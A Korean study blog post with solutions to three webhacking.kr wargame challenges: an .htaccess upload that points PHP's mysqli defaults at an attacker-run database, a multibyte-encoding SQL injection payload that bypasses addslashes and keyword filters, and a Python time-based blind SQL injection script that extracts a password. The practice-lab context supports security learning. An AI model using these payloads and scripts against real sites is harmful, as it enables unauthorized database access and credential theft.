webhacking.kr 30번, 45번, 57번 풀이

julia·2021년 5월 25일
1

💡 30번 문제 풀이


문제 속 링크를 타고 들어가면 다음과 같은 php 코드가 나온다.

<?php
  if($_GET['view_source']) highlight_file(__FILE__);
  $db = mysqli_connect() or die();
  mysqli_select_db($db,"chall30") or die();
  $result = mysqli_fetch_array(mysqli_query($db,"select flag from chall30_answer")) or die();
  if($result[0]){
    include "/flag";
  }
?>

여기서 mysqli_connect() 가 눈에 띄는데, 이름에서 보이는 것처럼 MySQL 서버나 마리아디비 서버와 연결해주는 함수다. mysqli_connect에 인자(host, username, port, password)가 없는 경우 디폴트 값이 들어가는데 찾아보니 각각 NULL, NULL, 3306, NULL 로 설정되어 있다.

  1. 내 pc에 mysql 서버를 열어 "chall30" DB를 만든다.
  2. "chall30_answer" 테이블을 만든다.
  3. 테이블 안에 컬럼들을 만든 후 각각의 값들을 삽입한다. (이때 flag 는 필수)
  4. 테스트 유저를 생성하여 chall30_answer에 접근권한을 부여한다.
  5. 아래 내용을 적은 파일을 생성한다.

php_value mysqli.default_host "IP주소:3306"
php_value mysqli.default_user "계정명"
php_value mysqli.default_pw "계정 비밀번호"

  1. 버프스위트로 인터셉트해 filename을 ".htaccess"로 변경하고 포워딩한다.(참고: 일시적으로 최소한의 권한만 부여하여 요청 작업 처리 시 .htaccess 파일 사용)
  2. 업로드된 주소로 이동해 flag 값을 얻는다.

💡 45번 문제 풀이

<?php
  if($_GET['id'] && $_GET['pw']){
    $db = dbconnect();
    $_GET['id'] = addslashes($_GET['id']);
    $_GET['pw'] = addslashes($_GET['pw']);
    $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['id'])) exit();
    if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['pw'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      echo "hi {$result['id']}";
      if($result['id'] == "admin") solve(45);
    }
    else echo("Wrong");
  }
?>

코드를 보면 mb_convert_encoding 함수가 특징적이다. 찾아보니 이 함수에 대한 취약점이 있는데 멀티 바이트를 사용하는 언어 셋 환경에서 백슬래시 앞에 %a1~%fe의 값이 들어가면 %a1\가 하나의 문자처럼 취급된다는 것이다.(출처-https://izeus12.tistory.com/65)

이 문제에서 이 취약점을 잘 사용해야 하는 이유는 addslashes 때문이다.
addslashes로 인해 만약 admin' or 1=1' 을 입력하면 admin\' or 1=1\'로 바꿔서 '까지 문자열로 인식되므로 인젝션이 무효화된다.
따라서 우리는 백슬래시 앞에 %a1~%fe값을 넣어줌으로써 백슬래시까지만 문자열로 인식되게 하고 싱글쿼터가 정상적으로 삽입될 수 있도록 해줘야 한다.(나는 %a1을 앞에 넣어주었다.)

또한 admin을 필터링하고 있기 때문에 이를 hex, bin, ascii 등으로 변환하여 값을 넣어줘야 하고(나는 hex 선택), =이 필터링되므로 like로 우회해야 한다.

?id=1%a1%27 or id like 0x61646D696E%23&pw=1

💡 57번 문제 풀이

<?php
  $db = dbconnect();
  if($_GET['msg'] && isset($_GET['se'])){
    $_GET['msg'] = addslashes($_GET['msg']);
    $_GET['se'] = addslashes($_GET['se']);
    if(preg_match("/select|and|or|not|&|\||benchmark/i",$_GET['se'])) exit("Access Denied");
    mysqli_query($db,"insert into chall57(id,msg,pw,op) values('{$_SESSION['id']}','{$_GET['msg']}','{$flag}',{$_GET['se']})");
    echo "Done<br><br>";
    if(rand(0,100) == 1) mysqli_query($db,"delete from chall57");
  }
?>

코드에 benchmark라는 것이 필터링되고 있는데, 나는 이 아이를 처음 봐서 검색을 해봤다. Time-Based SQL Injection에 사용되는 함수이며 쿼리문 주입 시 결과에 따라 반환시간을 지연시킴으로써 참거짓을 판단한다. 이때 benchmark() 함수는 sleep() 함수와 비슷한데, sleep() 함수는 잘 알려진 바와 같이 ()안에 들어가는 시간만큼 멈췄다가 0을 반환해준다.
아무 값이나 message에 입력하면 "Done" 이라는 문구를 반환한다는 사실과, sleep()함수를 이용해 코드를 짜보았다.

import requests
import urllib3
import time

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url = "https://webhacking.kr/challenge/web-34/index.php?msg=hi&se="
cookies = {"PHPSESSID": "세션아이디값"}

pw_length = 0
flag = ""

# GET length of pw
for i in range(30):
    payload = "if(length(pw)={},sleep(3),1)".format(i)
    request = time.time()
    r = requests.get(url=url + payload, cookies=cookies,  verify=False)
    
    if "Done" in r.text:
        response = time.time()
    final_time = response - request

    if final_time >= 3:
        pw_length = i
        break
    else:
        pass

print("pw_length : ", i)

for i in range(1, pw_length + 1):
    for j in range(33, 127):
        payload = "if(ascii(substr(pw,{},1))={},sleep(3),1)".format(i, j)
        request = time.time()
        r = requests.get(url=url + payload, cookies=cookies, verify=False)

        if "Done" in r.text:
            response = time.time()
        final_time = response - request

        if final_time >= 3:
            flag += chr(j)
            print(flag)
            break
        else:
            pass

print("flag : ", flag)

😎 느낀 점

이번주가 스터디 마지막 주차였다. 실력이 부족해서 혹은 문제오류로 아직 못 푼 문제들도 남았지만.. 웹에 대해 조금 더 배운 후에 다시 보았을 때는 해결할 수 있지 않을까 기대한다. 워게임 사이트가 아직 리뉴얼이 안되어있을 때 스터디를 시작한 것이 아쉽다. 지금 새로운 문제들이 하나 둘 올라오고 있는데, 새로운 문제들이 훨씬 트렌드를 반영한 문제들이 아닐까 싶다. 이제는 시간날 때마다 못 푼 old문제들과 새롭게 만들어진 문제들을 풀어봐야겠다ㅎㅎ 문제풀이를 하면서 문제 풀고 끝 이 아니라 그에 사용되는 개념들을 찾아보는 연습을 할 수 있어 좋았다. 새로운 개념들이 많았는데, 지금 당장 모두 기억하지는 못해도 나중에 그 개념들을 마주했을 때 좀 더 반갑게 공부하고 적용할 수 있을 것 같다. 앞으로도 보안 공부 화이팅!!!

profile
Move Forward

0개의 댓글